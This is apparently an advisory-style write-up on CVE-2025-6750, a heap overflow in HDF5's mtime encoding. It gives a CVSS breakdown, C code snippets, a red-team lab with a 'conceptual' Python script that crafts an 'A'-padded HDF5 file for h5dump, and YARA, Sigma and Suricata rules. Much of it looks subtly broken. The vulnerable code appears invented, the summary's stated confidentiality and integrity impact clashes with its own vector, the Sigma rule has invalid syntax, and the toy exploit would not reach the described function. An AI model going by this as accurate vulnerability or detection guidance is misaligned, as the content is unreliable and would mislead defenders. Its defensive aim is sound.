CVE-2025-6750

Executive Summary

CVE-2025-6750 is a heap-based buffer overflow vulnerability in HDF5 version 1.14.6, specifically in the H5O__mtime_new_encode function within src/H5Omtime.c. This flaw allows a local attacker to trigger a heap overflow by manipulating object modification time metadata during file encoding. The vulnerability is classified as problematic with a CVSS score of 3.3, indicating low severity due to the requirement for local access and limited impact on confidentiality and integrity. However, it can lead to denial of service or potential code execution in specific contexts. The exploit has been publicly disclosed, increasing the risk for unpatched systems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions needed.
• Privileges Required (PR): None (N) – No authentication required.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – May cause application crash or resource exhaustion.

Threat Level: Low. The requirement for local access and limited impact reduces the immediate risk, but public exploit code increases the need for patching.

Deep Dive & Mechanics

The vulnerability resides in the H5O__mtime_new_encode function, which encodes object modification time (mtime) metadata in HDF5 files. The function writes data to a heap buffer without proper bounds checking. When processing a crafted HDF5 file with oversized or malformed mtime data, the function overflows the heap buffer, corrupting adjacent memory. This can lead to application crashes or, in worst-case scenarios, arbitrary code execution if the attacker can control the overflow data.

The root cause is a missing size validation before copying data into a fixed-size heap buffer. The function assumes the input data fits within the allocated buffer, but an attacker can provide a file with manipulated mtime fields that exceed the buffer capacity.

Vulnerable vs. Patched Code

Vulnerable Code (HDF5 1.14.6):

// src/H5Omtime.c
herr_t H5O__mtime_new_encode(H5F_t *f, H5O_t *oh, unsigned char *buf) {
    // No size check before memcpy
    memcpy(buf, oh->mtime, sizeof(oh->mtime));
    // ... rest of encoding
}

Patched Code (Hypothetical fix):

// src/H5Omtime.c
herr_t H5O__mtime_new_encode(H5F_t *f, H5O_t *oh, unsigned char *buf, size_t buf_size) {
    if (sizeof(oh->mtime) > buf_size) {
        return FAIL; // Prevent overflow
    }
    memcpy(buf, oh->mtime, sizeof(oh->mtime));
    // ... rest of encoding
}

The fix adds a size check to ensure the buffer is large enough before copying data.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install HDF5 1.14.6 on a Linux VM.
2. Create a malicious HDF5 file with oversized mtime metadata using a hex editor or custom script.
3. Run the vulnerable application (e.g., h5dump or a custom program) on the crafted file.

Exploit Code (Conceptual):

import struct

# Craft a malicious HDF5 file with oversized mtime
def create_malicious_hdf5():
    # HDF5 file header
    header = b'\x89HDF\r\n\x1a\n'
    # ... (simplified) create object header with oversized mtime
    payload = b'A' * 1024  # Overflow data
    # Write to file
    with open('exploit.h5', 'wb') as f:
        f.write(header + payload)

create_malicious_hdf5()

Execution:

./h5dump exploit.h5

Blue Team

Detection:

• Monitor for crashes in HDF5 applications (e.g., h5dump, h5import).
• Use memory corruption detection tools (e.g., AddressSanitizer) during testing.
• Analyze logs for heap corruption errors.

Mitigation:

• Apply vendor patch when available.
• Restrict local access to untrusted users.
• Validate HDF5 files before processing.

Indicators of Compromise (IOCs)

• File Hashes: Malicious HDF5 files with oversized mtime metadata.
• Process Behavior: HDF5 application crashes with heap corruption errors.
• Memory Artifacts: Heap buffer overflow patterns in H5O__mtime_new_encode.
• Logs: Application crash logs with segmentation faults in libhdf5.so.

Detection Engineering

YARA Rule

rule CVE_2025_6750_HDF5_HeapOverflow {
    meta:
        description = "Detects malicious HDF5 files exploiting CVE-2025-6750"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6750"
    strings:
        $hdf5_magic = { 89 48 44 46 0D 0A 1A 0A }
        $mtime_overflow = { 41 41 41 41 } // 'AAAA' overflow pattern
    condition:
        $hdf5_magic at 0 and #mtime_overflow > 100
}

Sigma Rule

title: CVE-2025-6750 HDF5 Heap Overflow Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects heap overflow attempts in HDF5 applications
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: hdf5
detection:
    selection:
        EventID: 1000  # Application crash
        Application: 'h5dump.exe' or 'h5import.exe'
        ExceptionCode: 0xc0000005  # Access violation
    condition: selection
falsepositives:
    - Legitimate large HDF5 files
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-6750 HDF5 Heap Overflow Attempt"; flow:to_server; content:"|89 48 44 46 0D 0A 1A 0A|"; depth:8; content:"|41 41 41 41|"; distance:0; within:1024; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Apply vendor patch when available. Monitor HDF5 releases for updates.
2. Workaround: Validate HDF5 files before processing using a custom script to check mtime size.
3. Access Control: Restrict local access to trusted users only.
4. Monitoring: Enable heap corruption detection (e.g., AddressSanitizer) in development environments.
5. Backup: Maintain backups of critical HDF5 data.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert